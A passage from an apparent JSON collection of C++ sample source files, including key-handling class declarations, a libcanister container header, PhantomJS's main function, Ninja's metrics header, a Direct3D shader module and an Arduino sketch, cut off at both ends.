CPubKey &b) { return a.vchPubKey != b.vchPubKey; }\n    friend bool operator<(const CPubKey &a, const CPubKey &b) { return a.vchPubKey < b.vchPubKey; }\n\n    IMPLEMENT_SERIALIZE(\n        READWRITE(vchPubKey);\n    )\n\n    CKeyID GetID() const {\n        return CKeyID(Hash160(vchPubKey));\n    }\n\n    uint256 GetHash() const {\n        return Hash(vchPubKey.begin(), vchPubKey.end());\n    }\n\n    bool IsValid() const {\n        return vchPubKey.size() == 33 || vchPubKey.size() == 65;\n    }\n\n    bool IsCompressed() const {\n        return vchPubKey.size() == 33;\n    }\n\n    std::vector<unsigned char> Raw() const {\n        return vchPubKey;\n    }\n};\n\n\n// secure_allocator is defined in serialize.h\n// CPrivKey is a serialized private key, with all parameters included (279 bytes)\ntypedef std::vector<unsigned char, secure_allocator<unsigned char> > CPrivKey;\n// CSecret is a serialization of just the secret parameter (32 bytes)\ntypedef std::vector<unsigned char, secure_allocator<unsigned char> > CSecret;\n\n/** An encapsulated OpenSSL Elliptic Curve key (public and/or private) */\nclass CKey\n{\nprotected:\n    EC_KEY* pkey;\n    bool fSet;\n    bool fCompressedPubKey;\n\n    void SetCompressedPubKey();\n\npublic:\n\n    void Reset();\n\n    CKey();\n    CKey(const CKey& b);\n\n    CKey& operator=(const CKey& b);\n\n    ~CKey();\n\n    bool IsNull() const;\n    bool IsCompressed() const;\n\n    void MakeNewKey(bool fCompressed);\n    bool SetPrivKey(const CPrivKey& vchPrivKey);\n    bool SetSecret(const CSecret& vchSecret, bool fCompressed = false);\n    CSecret GetSecret(bool &fCompressed) const;\n    CPrivKey GetPrivKey() const;\n    bool SetPubKey(const CPubKey& vchPubKey);\n    CPubKey GetPubKey() const;\n\n    bool Sign(uint256 hash, std::vector<unsigned char>& vchSig);\n\n    // create a compact signature (65 bytes), which allows reconstructing the used public key\n    // The format is one header byte, followed by two times 32 bytes for the serialized r and s values.\n    // The header byte: 0x1B = first key with even y, 0x1C = first key with odd y,\n    //                  0x1D = second key with even y, 0x1E = second key with odd y\n    bool SignCompact(uint256 hash, std::vector<unsigned char>& vchSig);\n\n    // reconstruct public key from a compact signature\n    // This is only slightly more CPU intensive than just verifying it.\n    // If this function succeeds, the recovered public key is guaranteed to be valid\n    // (the signature is a valid signature of the given data for that key)\n    bool SetCompactSignature(uint256 hash, const std::vector<unsigned char>& vchSig);\n\n    bool Verify(uint256 hash, const std::vector<unsigned char>& vchSig);\n\n    // Verify a compact signature\n    bool VerifyCompact(uint256 hash, const std::vector<unsigned char>& vchSig);\n\n    bool IsValid();\n};\n\n#endif\n"
  },
  {
    "path": "samples/C++/libcanister.h",
    "content": "#ifndef LIBCANIH\n#define LIBCANIH\n#include <iostream>\n#include <fstream>\n#include <stdlib.h>\n#include <cstring>\n\n#define int64 unsigned long long\n//#define DEBUG\n\n#ifdef DEBUG\n#define dout cout\n#else\n#define dout if (0) cerr\n#endif\n\nusing namespace std;\n\nnamespace libcanister\n{\n\n    //the canmem object is a generic memory container used commonly\n    //throughout the canister framework to hold memory of uncertain\n    //length which may or may not contain null bytes. \n    class canmem\n    {\n    public:\n        char* data; //the raw memory block\n        int size; //the absolute length of the block\n        canmem(); //creates an unallocated canmem\n        canmem(int allocsize); //creates an allocated, blank canmem of size\n        canmem(char* strdata); //automates the creation of zero-limited canmems\n        ~canmem(); //cleans up the canmem\n        void zeromem(); //overwrites this canmem\n        void fragmem(); //overwrites this canmem with fragment notation\n        void countlen(); //counts length of zero-limited strings and stores it in size\n        void trim(); //removes any nulls from the end of the string\n        static canmem null(); //returns a singleton null canmem\n        \n    };\n    \n    //contains information about the canister\n    class caninfo\n    {\n    public:\n        canmem path; //physical path\n        canmem internalname; //a name for the canister\n        int numfiles; //the number of files in the canister\n    };\n    \n    //necessary for the use of this class as a type in canfile\n    class canister;\n    \n    //this object holds the definition of a 'file' within the\n    //canister 'filesystem.'\n    class canfile\n    {\n    public:\n        libcanister::canister* parent; //the canister that holds this file\n        canmem path; //internal path ('filename')\n        canmem data; //the file's decompressed contents\n        int isfrag; //0 = probably not fragment, 1 = definitely a fragment (ignore)\n        int cfid; //'canfile id' -- a unique ID for this file\n        int64 dsize; //ondisk size (compressed form size)\n        int cachestate; //0 = not in memory, 1 = in memory, 2 = in memory and needs flush\n                        //-1 = error, check the data for the message\n        void cache(); //pull the file from disk and cache it in memory\n        void cachedump(); //deletes the contents of this file from the memory cache after assuring the on disk copy is up to date\n        void cachedumpfinal(fstream& infile); //same as cachedump, but more efficient during closing procedures\n        void flush(); //updates the on disk copy, but retains the memory cache\n    };\n\n    //the primary class\n    //this defines and controls a single canister\n    class canister\n    {\n        //table of contents\n        //absolutely worthless to the control code in the canister\n        //but quite useful to programs using the API, as they may\n        //desire to enumerate the files in a canister for a user's\n        //use or for their own.\n        //contains a newline-delimited list of files in the container.\n        canfile TOC;\n    public:\n        caninfo info; //the general info about this canister\n\n        //the raw canfiles -- recommended that programs do not modify\n        //these files directly, but not enforced.\n        canfile* files;\n        bool readonly; //if true then no write routines will do anything\n        \n        //maximum number of files to have in memory at any given\n        //time, change this to whatever suits your application.\n        int cachemax;\n        int cachecnt; //number of files in the cache (should not be modified)\n\n        //both initialize the canister from a physical location\n        canister (canmem fspath);\n        canister (char* fspath);\n\n        //destroys the canister (after flushing the modded buffers, of course)\n        ~canister();\n        \n        //open the fspath\n        //does it exist?\n        // | --- yes --- opening it (return 1)\n        // | --- yes --- file is corrupted, halting (return -1)\n        // | --- no  --- making a new one (return 0)\n        int open();\n        \n        //close the canister, flush all buffers, clean up\n        int close();\n        \n        //deletes the file at path inside this canister\n        int delFile(canmem path);\n        \n        //pulls the contents of the file from disk or memory and returns it as a file\n        canfile getFile(canmem path);\n        \n        //creates a file if it does not exist, otherwise overwrites\n        //returns whether operation succeeded\n        bool writeFile(canmem path, canmem data);\n        bool writeFile(canfile file);\n        \n        //get the 'table of contents', a file containing a newline delimited\n        //list of the file paths in the container which have contents\n        canfile getTOC();\n \n        //brings the cache back within the cachemax limit\n        //important: sCFID is the safe CFID\n        //(the CFID of the file we want to avoid uncaching)\n        //really just used internally, but it can't do any harm.\n        void cacheclean(int sCFID, bool dFlush = false);\n    };\n\n}\n\n#endif"
  },
  {
    "path": "samples/C++/main.cpp",
    "content": "/*\n  This file is part of the PhantomJS project from Ofi Labs.\n\n  Copyright (C) 2011 Ariya Hidayat <ariya.hidayat@gmail.com>\n\n  Redistribution and use in source and binary forms, with or without\n  modification, are permitted provided that the following conditions are met:\n\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and/or other materials provided with the distribution.\n    * Neither the name of the <organization> nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n  ARE DISCLAIMED. IN NO EVENT SHALL <COPYRIGHT HOLDER> BE LIABLE FOR ANY\n  DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n  (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n  ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n  (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n  THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n*/\n\n#include \"consts.h\"\n#include \"utils.h\"\n#include \"env.h\"\n#include \"phantom.h\"\n\n#ifdef Q_OS_LINUX\n#include \"client/linux/handler/exception_handler.h\"\n#endif\n\n#include <QApplication>\n\n#if QT_VERSION != QT_VERSION_CHECK(4, 8, 0)\n#error Something is wrong with the setup. Please report to the mailing list!\n#endif\n\nint main(int argc, char** argv, const char** envp)\n{\n#ifdef Q_OS_LINUX\n    google_breakpad::ExceptionHandler eh(\"/tmp\", NULL, Utils::exceptionHandler, NULL, true);\n#endif\n\n    // Registering an alternative Message Handler\n    qInstallMsgHandler(Utils::messageHandler);\n\n    QApplication app(argc, argv);\n\n#ifdef STATIC_BUILD\n    Q_INIT_RESOURCE(WebKit);\n    Q_INIT_RESOURCE(InspectorBackendStub);\n#endif\n\n    app.setWindowIcon(QIcon(\":/phantomjs-icon.png\"));\n    app.setApplicationName(\"PhantomJS\");\n    app.setOrganizationName(\"Ofi Labs\");\n    app.setOrganizationDomain(\"www.ofilabs.com\");\n    app.setApplicationVersion(PHANTOMJS_VERSION_STRING);\n\n    Env::instance()->parse(envp);\n\n    Phantom phantom;\n    if (phantom.execute()) {\n        app.exec();\n    }\n    return phantom.returnValue();\n}\n"
  },
  {
    "path": "samples/C++/metrics.h",
    "content": "// Copyright 2011 Google Inc. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//     http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#ifndef NINJA_METRICS_H_\n#define NINJA_METRICS_H_\n\n#include <string>\n#include <vector>\nusing namespace std;\n\n#include \"util.h\"  // For int64_t.\n\n/// The Metrics module is used for the debug mode that dumps timing stats of\n/// various actions.  To use, see METRIC_RECORD below.\n\n/// A single metrics we're tracking, like \"depfile load time\".\nstruct Metric {\n  string name;\n  /// Number of times we've hit the code path.\n  int count;\n  /// Total time (in micros) we've spent on the code path.\n  int64_t sum;\n};\n\n\n/// A scoped object for recording a metric across the body of a function.\n/// Used by the METRIC_RECORD macro.\nstruct ScopedMetric {\n  explicit ScopedMetric(Metric* metric);\n  ~ScopedMetric();\n\nprivate:\n  Metric* metric_;\n  /// Timestamp when the measurement started.\n  /// Value is platform-dependent.\n  int64_t start_;\n};\n\n/// The singleton that stores metrics and prints the report.\nstruct Metrics {\n  Metric* NewMetric(const string& name);\n\n  /// Print a summary report to stdout.\n  void Report();\n\nprivate:\n  vector<Metric*> metrics_;\n};\n\n/// Get the current time as relative to some epoch.\n/// Epoch varies between platforms; only useful for measuring elapsed time.\nint64_t GetTimeMillis();\n\n/// A simple stopwatch which returns the time\n/// in seconds since Restart() was called.\nstruct Stopwatch {\n public:\n  Stopwatch() : started_(0) {}\n\n  /// Seconds since Restart() call.\n  double Elapsed() const {\n    return 1e-6 * static_cast<double>(Now() - started_);\n  }\n\n  void Restart() { started_ = Now(); }\n\n private:\n  uint64_t started_;\n  uint64_t Now() const;\n};\n\n/// The primary interface to metrics.  Use METRIC_RECORD(\"foobar\") at the top\n/// of a function to get timing stats recorded for each call of the function.\n#define METRIC_RECORD(name)                                             \\\n  static Metric* metrics_h_metric =                                     \\\n      g_metrics ? g_metrics->NewMetric(name) : NULL;                    \\\n  ScopedMetric metrics_h_scoped(metrics_h_metric);\n\nextern Metrics* g_metrics;\n\n#endif // NINJA_METRICS_H_\n"
  },
  {
    "path": "samples/C++/module.ixx",
    "content": "//**********************************************************************\n// Copyright Patrick Sweeney 2015-2021\n// Licensed under the MIT license.\n// See file LICENSE for details.\n//**********************************************************************\nmodule;\n#include <string>\n#include <atlbase.h>\n#include <d3d11.h>\n#include <vector>\n#include <any>\n#include <map>\n\nexport module Rendering.Caustic.Shader;\nimport Base.Core.Core;\nimport Base.Core.Error;\nimport Base.Core.RefCount;\nimport Base.Core.IRefCount;\nimport Base.Math.BBox;\nimport Base.Math.Matrix;\nimport Rendering.Caustic.IShader;\n\n// A shader is a object that manages the vertex and pixel shader\n//\nexport namespace Caustic\n{\n    const int c_MaxFrames = 2; // Maximum number of frames being buffered\n\n    //**********************************************************************\n    // EShaderParamType defines the various types of parameters that can\n    // be passed to a CShader\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    enum EShaderParamType\n    {\n        ShaderType_Undefined,\n        ShaderType_Texture,\n        ShaderType_Sampler,\n        ShaderType_Float,\n        ShaderType_Float2,\n        ShaderType_Float3,\n        ShaderType_Float4,\n        ShaderType_Int,\n        ShaderType_Matrix,\n        ShaderType_Matrix3x3,\n        ShaderType_Float_Array,\n        ShaderType_Float2_Array,\n        ShaderType_Float3_Array,\n        ShaderType_Float4_Array,\n        ShaderType_Int_Array,\n        ShaderType_Matrix_Array,\n        ShaderType_Matrix3x3_Array,\n        ShaderType_StructuredBuffer,\n        ShaderType_RWStructuredBuffer,\n        ShaderType_AppendStructuredBuffer,\n        ShaderType_RWByteAddressBuffer\n    };\n\n    //**********************************************************************\n    // Struct: ShaderParamDef\n    // ShaderParamDef defines the shader definitions that were parsed from HLSL\n    // by ParseShader. These definitions define the variables that each\n    // shader defines (i.e. may be set by the client)\n    //\n    // Parameters:\n    // m_type - Defines type of this parameter \n    // m_name - Name of shader parameter\n    // m_offset - Register offset\n    // m_members - Number of elements (i.e. some parameters can be arrays) \n    // m_elemSize - sizeof a single element in bytes (used by buffers)\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    struct ShaderParamDef\n    {\n        EShaderParamType m_type; // Defines type of this parameter\n        std::wstring m_name;     // Name of shader parameter\n        uint32 m_offset;         // register offset\n        uint32 m_members;        // Number of elements (i.e. some parameters can be arrays)\n        uint32 m_elemSize;       // size of a single element (used by buffers)\n    };\n\n    //**********************************************************************\n    // Struct: ShaderParamInstance\n    // ShaderParamInstance defines each parameter that a shader exposes. These parameters\n    // are derived from the ShaderParamDefs above. This is servers copy of each\n    // parameter along with its value and position in the constant buffer.\n    //\n    // Parameters:\n    // m_value - Value assigned to this parameter\n    // m_values - Array of values assigned to this parameter\n    // m_dirty - Is parameter dirty and needs to be pushed to constant buffer\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    struct ShaderParamInstance : public ShaderParamDef\n    {\n        std::any m_value;      // Value assigned to this parameter\n        std::vector<std::any> m_values;\n        bool m_dirty;            // Is parameter dirty and needs to be pushed to constant buffer\n        uint32 m_cbOffset;      // Byte offset of this variable in the constant buffer\n    };\n\n    struct Float { float x; Float(float _x) { x = _x; } };\n    struct Int { int x; Int(int _x) { x = _x; } };\n    struct Float2 { float x; float y; Float2(float _x, float _y) { x = _x; y = _y; } };\n    struct Float3 { float x; float y; float z; Float3(float _x, float _y, float _z) { x = _x; y = _y; z = _z; } };\n    struct Float4 { float x; float y; float z; float w; Float4(float _x, float _y, float _z, float _w) { x = _x; y = _y; z = _z; w = _w; } };\n    struct Matrix\n    { \n        float x[16]; \n        Matrix() \n        { \n            ZeroMemory(x, sizeof(x));\n        }\n    \n        Matrix(Matrix4x4& m)\n        {\n            int index = 0;\n            for (int col = 0; col < 4; col++)\n                for (int row = 0; row < 4; row++)\n                    x[index++] = m[row][col];\n        }\n\n        Matrix(Matrix3x3& m)\n        {\n            int index = 0;\n            x[index++] = m[0][0];\n            x[index++] = m[1][0];\n            x[index++] = 0.0f;\n            x[index++] = m[2][0];\n            x[index++] = m[0][1];\n            x[index++] = m[1][1];\n            x[index++] = 0.0f;\n            x[index++] = m[2][1];\n            x[index++] = m[0][2];\n            x[index++] = m[1][2];\n            x[index++] = 0.0f;\n            x[index++] = m[2][2];\n            x[index++] = 0.0f;\n            x[index++] = 0.0f;\n            x[index++] = 0.0f;\n            x[index++] = 1.0f;\n        }\n\n        Matrix(float _x[16])\n        {\n            memcpy(x, _x, sizeof(float) * 16);\n        }\n    };\n    \n    struct Matrix_3x3\n    {\n        float x[16];\n\n        Matrix_3x3()\n        {\n            ZeroMemory(x, sizeof(x));\n        }\n        \n        Matrix_3x3(Matrix3x3& m)\n        {\n            int index = 0;\n            for (int col = 0; col < 4; col++)\n                for (int row = 0; row < 4; row++)\n                    if (row == 3 || col == 3)\n                        x[index++] = 0.0f;\n                    else\n                        x[index++] = m[row][col];\n        }\n\n        Matrix_3x3(float _x[16])\n        {\n            memcpy(x, _x, sizeof(float) * 16);\n        }\n    };\n\n    //**********************************************************************\n    // Class: SBuffer\n    // Defines a buffer (which may be either a constant buffer or\n    // and unordered access buffer used by a compute shader).\n    //\n    // Members:\n    // m_spBuffer - the D3D buffer (that will be passed to the compute shader)\n    // m_spStagingBuffer - staging buffer for going between CPU and GPU\n    // m_spView - A view onto the buffer m_spBuffer\n    // m_bufferSize - size of buffer in bytes\n    // m_heapSize - size of the total heap the buffer is contained in\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    struct SBuffer\n    {\n        CComPtr<ID3D11Buffer> m_spBuffer;\n        CComPtr<ID3D11Buffer> m_spStagingBuffer;\n        CComPtr<ID3D11UnorderedAccessView> m_spUAView;\n        CComPtr<ID3D11ShaderResourceView> m_spSRView;\n        uint32 m_bufferSize;\n        uint32 m_heapSize;\n        int m_bufferSlot;\n        std::wstring m_name;\n\n        SBuffer() :\n            m_bufferSize(0),\n            m_heapSize(0),\n            m_bufferSlot(0)\n        {\n        }\n    };\n\n    //**********************************************************************\n    // Class: CGPUBuffer\n    // Defines a buffer that is created by the client for passing/receiving\n    // data from a compute shader.\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    class CGPUBuffer : public IGPUBuffer, public CRefCount\n    {\n        CComPtr<ID3D11Buffer> m_spBuffer;\n        CComPtr<ID3D11Buffer> m_spStagingBuffer;\n        CComPtr<ID3D11UnorderedAccessView> m_spUAView;\n        CComPtr<ID3D11ShaderResourceView> m_spSRView;\n        uint32 m_bufferSize;\n        uint32 m_heapSize;\n        int m_bufferSlot;\n        std::wstring m_name;\n        EBufferType m_bufferType;\n        uint32 m_numElems; // Number of elemens in buffer\n        uint32 m_elemSize; // Element size (unaligned on CPU)\n        \n        void CreateBuffer(ID3D11Device* pDevice, uint32 bufSize,\n            uint32 bindFlags, uint32 cpuAccessFlags, D3D11_USAGE usage,\n            uint32 miscFlags, uint32 stride, uint32 alignment, ID3D11Buffer** ppBuffer);\n    public:\n        CGPUBuffer() :\n            m_bufferSize(0),\n            m_heapSize(0),\n            m_bufferSlot(0),\n            m_bufferType(EBufferType::StructuredBuffer)\n        {\n        }\n\n        ~CGPUBuffer()\n        {\n            m_numElems = 0;\n        }\n\n        void Create(IRenderer* pRenderer, EBufferType bufferType, uint32 numElems, uint32 elemSize, uint32 bindFlags);\n\n        //**********************************************************************\n        // IRefCount\n        //**********************************************************************\n        virtual uint32 AddRef() override { return CRefCount::AddRef(); }\n        virtual uint32 Release() override { return CRefCount::Release(); }\n\n        //**********************************************************************\n        // IGPUBuffer\n        //**********************************************************************\n        virtual EBufferType GetBufferType() override { return m_bufferType; }\n        virtual CComPtr<ID3D11Buffer> GetBuffer() override { return m_spBuffer; }\n        virtual CComPtr<ID3D11Buffer> GetStagingBuffer() override { return m_spStagingBuffer; }\n        virtual CComPtr<ID3D11UnorderedAccessView> GetUAView() override { return m_spUAView; }\n        virtual CComPtr<ID3D11ShaderResourceView> GetSRView() override { return m_spSRView; }\n        virtual void CopyFromCPU(IRenderer* pRenderer, uint8* pData) override;\n        virtual void CopyToCPU(IRenderer* pRenderer, uint8* pData) override;\n    };\n\n    //**********************************************************************\n    // Class: CShader\n    // Defines a shader used to render materials on an object\n    //\n    // A shader defines a material on a renderable. It is comprised of a pixel\n    // shader, a vertex shader, and constants passed to those shaders.\n    //\n    // Module:\n    // {Link:import Rendering.Caustic.Shader;{Rendering/Caustic/Shader.ixx}}\n    //**********************************************************************\n    class CShader : public IShader, public CRefCount\n    {\n        enum MatrixTypesAvail\n        {\n            PSMatrixAvail_world = 1,\n            PSMatrixAvail_worldInv = 1 << 1,\n            PSMatrixAvail_worldInvTranspose = 1 << 2,\n            PSMatrixAvail_view = 1 << 3,\n            PSMatrixAvail_viewInv = 1 << 4,\n            PSMatrixAvail_proj = 1 << 5,\n            PSMatrixAvail_projInv = 1 << 6,\n            PSMatrixAvail_worldView = 1 << 7,\n            PSMatrixAvail_worldViewInv = 1 << 8,\n            PSMatrixAvail_worldViewProj = 1 << 9,\n            PSMatrixAvail_worldViewProjInv = 1 << 10,\n\n            VSMatrixAvail_world = 1 << 11,\n            VSMatrixAvail_worldInv = 1 << 12,\n            VSMatrixAvail_worldInvTranspose = 1 << 13,\n            VSMatrixAvail_view = 1 << 14,\n            VSMatrixAvail_viewInv = 1 << 15,\n            VSMatrixAvail_proj = 1 << 16,\n            VSMatrixAvail_projInv = 1 << 17,\n            VSMatrixAvail_worldView = 1 << 18,\n            VSMatrixAvail_worldViewInv = 1 << 19,\n            VSMatrixAvail_worldViewProj = 1 << 20,\n            VSMatrixAvail_worldViewProjInv = 1 << 21,\n        };\n        uint32 m_matricesAvail; // Combination of MatrixTypesAvail flags indicating which matrices are referenced by the shader\n        std::wstring m_name;\n        std::vector<D3D11_INPUT_ELEMENT_DESC> m_layout;\n        CComPtr<ID3D11SamplerState> m_spSamplerState;\n        CComPtr<ID3D11InputLayout> m_spLayout;\n        CComPtr<ID3D11PixelShader> m_spPixelShader;\n        CComPtr<ID3D11VertexShader> m_spVertexShader;\n        CComPtr<ID3D11ComputeShader> m_spComputeShader;\n        SBuffer m_vertexConstants;\n        SBuffer m_pixelConstants;\n        SBuffer m_computeConstants;\n        std::map<std::wstring, ShaderParamInstance> m_psParams;\n        std::map<std::wstring, ShaderParamInstance> m_vsParams;\n        std::map<std::wstring, ShaderParamInstance> m_csParams;\n        CRefObj<IShaderInfo> m_spShaderInfo;\n        int m_xThreads;\n        int m_yThreads;\n        int m_zThreads;\n        int m_maxTextureSlot;\n    protected:\n        void DetermineMatricesUsed();\n        void PushMatrix(const wchar_t* pParamName, std::any mat, uint32 vsmask, uint32 psmask);\n        void PushLights(std::vector<CRefObj<ILight>>& lights);\n        void PushMatrices(IRenderer* pRenderer, DirectX::XMMATRIX *pWorld);\n        uint32 ComputeParamSize(ShaderParamDef *pParams, uint32 numParams, std::map<std::wstring, ShaderParamInstance> &params);\n        uint32 ShaderTypeSize(ShaderParamDef& paramDef);\n        void PushConstants(IRenderer* pRenderer, SBuffer *pBuffer, std::map<std::wstring, ShaderParamInstance> &params);\n        void ClearSamplers(IRenderer* pRenderer);\n        void PushSamplers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params, bool isPixelShader);\n        void PushBuffers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params);\n        void PopBuffers(IRenderer* pRenderer, std::map<std::wstring, ShaderParamInstance>& params);\n        void SetParam(const std::wstring& paramName, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);\n        void SetParam(const wchar_t* paramName, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);\n        void SetParam(const std::wstring& paramName, int index, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);\n        void SetParam(const wchar_t* paramName, int index, const std::any& value, std::map<std::wstring, ShaderParamInstance>& params);\n    public:\n        void Create(IRenderer *pRenderer, const wchar_t *pShaderName, IShaderInfo *pShaderInfo, ID3DBlob *pPSBlob, ID3DBlob* pVSBlob, ID3DBlob* pCSBlob);\n        void CreateBuffer(ID3D11Device* pDevice, uint32 bufSize, uint32 bindFlags, uint32 cpuAccessFlags, D3D11_USAGE usage, uint32 miscFlags, uint32 stride, uint32 alignment, SBuffer* pBuffer, ID3D11Buffer **ppBuffer);\n        void CreateConstantBuffer(ID3D11Device *pDevice, ShaderParamDef *pDefs, uint32 paramsSize, std::map<std::wstring, ShaderParamInstance> &params, SBuffer *pConstantBuffer);\n\n        CShader() :\n            m_xThreads(32),\n            m_yThreads(32),\n            m_zThreads(1),\n            m_maxTextureSlot(0),\n            m_matricesAvail(0)\n        {\n        }\n\n        //**********************************************************************\n        // IRefCount\n        //**********************************************************************\n        virtual uint32 AddRef() override { return CRefCount::AddRef(); }\n        virtual uint32 Release() override { return CRefCount::Release(); }\n\n        //**********************************************************************\n        // IShader\n        //**********************************************************************\n        virtual CRefObj<IShader> Clone(ID3D11Device *pDevice) override;\n        virtual std::wstring &Name() override { return m_name; }\n        virtual void BeginRender(IRenderer* pRenderer, IRenderMaterial* pMaterial, std::vector<CRefObj<ILight>>& lights, DirectX::XMMATRIX* pWorld) override;\n        virtual void SetPSParam(const std::wstring& paramName, const std::any& value) override;\n        virtual void SetPSParam(const wchar_t* paramName, const std::any& value) override;\n        virtual void SetPSParamFloat(const std::wstring& paramName, float value) override;\n        virtual void SetPSParamFloat(const wchar_t* paramName, float value) override;\n        virtual void SetPSParamInt(const std::wstring& paramName, int value) override;\n        virtual void SetPSParamInt(const wchar_t* paramName, int value) override;\n        virtual void SetPSParam(const std::wstring& paramName, int index, const std::any& value) override;\n        virtual void SetPSParam(const wchar_t* paramName, int index, const std::any& value) override;\n        virtual void SetVSParam(const std::wstring& paramName, const std::any& value) override;\n        virtual void SetVSParam(const wchar_t* paramName, const std::any& value) override;\n        virtual void SetVSParamFloat(const std::wstring& paramName, float value) override;\n        virtual void SetVSParamFloat(const wchar_t* paramName, float value) override;\n        virtual void SetVSParamInt(const std::wstring& paramName, int value) override;\n        virtual void SetVSParamInt(const wchar_t* paramName, int value) override;\n        virtual void SetVSParam(const std::wstring& paramName, int index, const std::any& value) override;\n        virtual void SetVSParam(const wchar_t* paramName, int index, const std::any& value) override;\n        virtual void SetCSParam(const std::wstring& paramName, const std::any& value) override;\n        virtual void SetCSParam(const wchar_t* paramName, const std::any& value) override;\n        virtual void SetCSParamFloat(const std::wstring& paramName, float value) override;\n        virtual void SetCSParamFloat(const wchar_t* paramName, float value) override;\n        virtual void SetCSParamInt(const std::wstring& paramName, int value) override;\n        virtual void SetCSParamInt(const wchar_t* paramName, int value) override;\n        virtual void SetCSParam(const std::wstring& paramName, int index, const std::any& value) override;\n        virtual void SetCSParam(const wchar_t* paramName, int index, const std::any& value) override;\n        virtual void EndRender(IRenderer* pRenderer) override;\n        virtual CRefObj<IShaderInfo> GetShaderInfo() override;\n        virtual void Dispatch(IRenderer* pRenderer, int xThreads, int yThreads, int zThreads) override;\n    };\n}\n"
  },
  {
    "path": "samples/C++/octave_changer.ino",
    "content": "const int buttons[4] = {2,3,4,5};\nconst int octaves[2] = {6,7};\n\nvoid setup() {                \n  // initialize the digital pin as an output.\n  // Pin 13 has an LED connected on most Arduino boards:\n\n  pinMode(13,OUTPUT);\n\n for(int i =0;i<sizeof(buttons)/sizeof(int);i++){\n   pinMode(buttons[i],INPUT );\n }\n \n for(int i =0;i<sizeof(octaves)/sizeof(int);i++){\n   pinMode(octaves[i],INPUT );\n }\n \n  Serial.begin(9600);\n}\n\n\nvoid loop() {\n  delay(1);              // wait\n  int output = -1;\n  \n // Serial.print(digitalRead(buttons[0]));\n  \n for(int i =0;i<sizeof(buttons)/sizeof(int);i++){\n   if(digitalRead(buttons[i])==LOW\n   ){\n     if(output<=0){\n       output=1;\n     }\n     output+=i+1;\n   }\n }\n \n for(int i =0;i<sizeof(octaves)/sizeof(int);i++){\n    if(output<=0){\n       break;\n     }\n   if(digitalRead(octaves[i])==LOW\n   ){\n     output*=7*(i==1 ? -1 : 1);\n   }\n }\n  if(output>=0){\n  Serial.print(output);\n  Serial.println(\";\");\n  digitalWrite(13,HIGH);\n  }else{\n  digitalWrite(13,LOW);\n  }\n  \n}\n"
  },
  {
    "path": "samples/C++/program.cp",
    "content": "/**\nThe MIT License (MIT)\n\nCopyright (c) 2016 Sahil Dua ( sahildua2305 | http://sahildua.com )\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.*/\n\n#include <iostream>\n#include <algorithm>\n#include <cstdio>\n#include <cstring>\n#include <cmath>\n#include <string>\n#include <vector>\n#include <map>\n#include <set>\n#include <queue>\n#include <stack>\nusing namespace std;\ntypedef long long ll;\n#define DEBUG\n#define mod 1000000007\n#define pb push_back\n\nint r2, c2, n, m;\n\nbool dfs(vector<string> graph, int r, int c){\n    //cout<<r<<\" \"<<c<<endl;\n    if(graph[r][c] == 'X'){\n        if(r==r2 && c==c2)\n            return true;\n        else\n            return false;\n    }\n    else{\n        